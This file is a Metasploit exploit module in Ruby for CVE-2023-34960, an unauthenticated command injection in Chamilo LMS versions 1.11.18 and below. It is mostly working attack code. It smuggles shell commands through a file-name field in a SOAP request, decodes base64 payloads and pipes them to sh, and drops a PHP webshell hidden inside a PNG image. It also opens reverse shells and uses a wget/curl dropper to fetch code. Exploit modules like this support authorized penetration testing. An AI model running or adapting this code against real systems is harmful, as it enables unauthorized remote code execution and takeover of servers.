# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Format::PhpPayloadPng prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Chamilo unauthenticated command injection in PowerPoint upload', 'Description' => %q{ Chamilo is an e-learning platform, also called Learning Management Systems (LMS). This module exploits an unauthenticated remote command execution vulnerability that affects Chamilo versions `1.11.18` and below (CVE-2023-34960). Due to a functionality called Chamilo Rapid to easily convert PowerPoint slides to courses on Chamilo, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint `/main/webservices/additional_webservices.php`. }, 'Author' => [ 'h00die-gr3y ', # Module Author 'Randorisec' # Original research ], 'References' => [ ['CVE', '2023-34960'], ['URL', 'https://www.randorisec.fr/pt/chamilo-1.11.18-multiple-vulnerabilities'], ['URL', 'https://attackerkb.com/topics/VVJpMeSpUP/cve-2023-34960'] ], 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix', 'linux'], 'Privileged' => false, 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Type' => :linux_dropper, 'Linemax' => 65535, 'CmdStagerFlavor' => ['wget', 'curl'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-06-01', 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The Chamilo endpoint URL', '/' ]), OptString.new('WEBSHELL', [ false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil ], conditions: %w[TARGET == 0]) ]) end def soap_request(cmd) # create SOAP request exploiting CVE-2023-34960 # Randomize ppt size ppt_size = "#{rand(720..1440)}x#{rand(360..720)}" return <<~EOS file_data file_name `{{}}`.pptx'|" |#{cmd}||a # service_ppt2lp_size #{ppt_size} EOS end def upload_webshell # randomize file name if option WEBSHELL is not set @webshell_name = if datastore['WEBSHELL'].blank? "#{Rex::Text.rand_text_alpha(8..16)}.php" else datastore['WEBSHELL'].to_s end @post_param = Rex::Text.rand_text_alphanumeric(1..8) # inject PHP payload into the PLTE chunk of a PNG image to hide the payload php_payload = "" png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE') return nil if png_webshell.nil? # encode webshell data and write to file on the target for execution payload = Base64.strict_encode64(png_webshell.to_s) cmd = "echo #{payload}|openssl enc -a -d > ./#{@webshell_name}" return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'), 'ctype' => 'text/xml; charset=utf-8', 'data' => soap_request(cmd).to_s }) end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'ppt2png', @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def execute_command(cmd, _opts = {}) # Encode payload with base64 and decode with openssl (most common installed on unix systems) payload = Base64.strict_encode64(cmd) cmd = "echo #{payload}|openssl enc -a -d|sh" return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main', 'webservices', 'additional_webservices.php'), 'ctype' => 'text/xml; charset=utf-8', 'data' => soap_request(cmd).to_s }) end def check # Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response. print_status("Checking if #{peer} can be exploited.") marker = Rex::Text.rand_text_alphanumeric(8..16) res = execute_command("echo #{marker}") if res && res.code == 200 && res.body.include?('wsConvertPptResponse') && res.body.include?(marker) CheckCode::Vulnerable else CheckCode::Safe('No valid response received from the target.') end end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :php res = upload_webshell fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200 && res.body.include?('wsConvertPptResponse') register_file_for_cleanup(@webshell_name.to_s) execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end